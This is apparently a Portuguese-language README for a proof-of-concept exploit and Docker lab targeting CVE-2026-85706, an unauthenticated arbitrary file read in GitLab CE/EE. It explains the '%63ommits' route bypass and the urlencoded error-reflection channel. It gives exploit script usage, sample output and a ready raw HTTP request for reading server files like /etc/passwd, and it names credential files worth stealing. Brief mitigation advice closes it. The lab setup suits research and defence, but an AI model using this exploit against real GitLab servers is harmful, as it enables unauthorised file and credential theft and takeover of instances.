
PoC e laboratório Docker para CVE-2026-85706, uma leitura arbitrária de arquivos não autenticada no GitLab CE/EE através do bypass da rota da API de commits e do canal de erro urlencoded.
★ PoC de leitura arbitrária de arquivos não autenticada no GitLab CVE-2026-85706 ★
https://github.com/user-attachments/assets/026749ec-04e9-4dd5-9453-cb7c1f6e823d
CVE-2026-85706 é uma leitura arbitrária de arquivos não autenticada no GitLab CE/EE (CVSS 10.0, CISA KEV) via
POST /api/v4/projects/:id/repository/commits, cujo helper de upload de corpo é executado antes deauthenticate!e lêparams['file.path']como um caminho absoluto sem confinamento. Codificar um caractere decommitsem URL →%63ommitsfaz o GitLab-Workhorse não reconhecer a rota (assim ele nunca sobrescrevefile.path), enquanto o Rails ainda decodifica%63 → ce encaminha para o handler — permitindo ao atacante definirfile.pathpela query string. ComContent-Type=application/x-www-form-urlencoded, o helper reanalisa o conteúdo do arquivo e um%não seguido de dois dígitos hexadecimais reflete esse conteúdo no corpo400(arquivos sem isso fornecem apenas um oráculo de leitura401). Requer pelo menos um projeto público.
| Categoria | Versão |
|---|---|
| Vulnerável | GitLab CE/EE 18.7 – 19.1.7, 19.2.0 – 19.2.5, 19.3.0 – 19.3.1 |
| Corrigida | 19.1.8 / 19.2.6 / 19.3.2 ou posterior (2026-09-10) |
% inválido (logs de aplicação e configurações/credenciais que incorporam valores codificados em URL) → reconhecimento + roubo de credenciais → encadeamento para acesso autenticado / comprometimento total da instânciagitlab-secrets.json, database.yml); observe que arquivos puramente hex/base64 retornam apenas um oráculo de existência pelo canal público de reflexão de % (nenhum byte % inválido para acionar o eco)authenticate! antes do helper de upload de corpo, de modo que uma requisição não autenticada é recusada antes do sink de leitura de arquivosCompile e execute o GitLab CE vulnerável. Na inicialização, o seeder planta /flag.txt (com um
gatilho de vazamento % no final) e cria um projeto público victim/public-app (id do projeto 1) para que a
API de commits seja acessível sem autenticação. A primeira inicialização leva ~2–3 minutos.
docker build -t cve-2026-85706 .
docker run -d --name cve-2026-85706 --shm-size 256m -p 8088:80 cve-2026-85706
# wait until the seeder reports it is ready
docker exec cve-2026-85706 tail -n 20 /var/log/seed.log # look for: [seed] SEED_DONE ...
A flag é um placeholder (EQST{gitlab_cve_2026_85706_arbitrary_file_read}). Defina a sua em
tempo de execução sem editar a imagem: docker run -e FLAG='YOUR_FLAG' ... cve-2026-85706.
| Pré-condição | Estado neste laboratório |
|---|---|
| GitLab 18.7 – 19.1.7 | 19.1.7-ce.0 |
| Pelo menos um projeto público (anônimo alcança a API de commits) | victim/public-app (id 1), criado automaticamente |
/api/v4/projects/:id/repository/commits acessível sem autenticação | exposto |
| Flag no sistema de arquivos do servidor | /flag.txt (gatilho de reflexão % no final) |
O exploit gitlab_exploit.py lê um arquivo do servidor com uma única requisição não autenticada,
usando o bypass de rota %63ommits do Workhorse e o canal de erro de reanálise urlencoded.
Escolha o arquivo com --read (padrão /flag.txt).
# default: read /flag.txt and print the flag
python3 gitlab_exploit.py 172.17.0.2
# read any absolute path (content disclosed only if it contains an invalid '%')
python3 gitlab_exploit.py 172.17.0.2 --read /etc/passwd
# just confirm the sink is reachable
python3 gitlab_exploit.py 172.17.0.2 --check
[*] target http://172.17.0.2
[*] endpoint /api/v4/projects/1/repository/%63ommits
[*] file.path /flag.txt
[+] arbitrary file read OK -> content of /flag.txt:
EQST{gitlab_cve_2026_85706_arbitrary_file_read}%
[+] FLAG: EQST{gitlab_cve_2026_85706_arbitrary_file_read}
Opções:
--read "<abs path>" — caminho absoluto do arquivo a ler (padrão /flag.txt)--project <id> — id do projeto público acessível sem autenticação (padrão 1)--check — apenas confirma que o sink de leitura de arquivos é acessível (espera local file not present)Requisição bruta (para o Burp Repeater):
POST /api/v4/projects/1/repository/%63ommits?file=&file.path=/flag.txt&file.size=1&Content-Type=application/x-www-form-urlencoded HTTP/1.1
Host: 172.17.0.2
Content-Length: 0
Connection: close
POST/PUT para */repository/commits* e */repository/files* em um proxy/WAF, e coloque a instância atrás de SSO / VPN / uma lista de IPs permitidos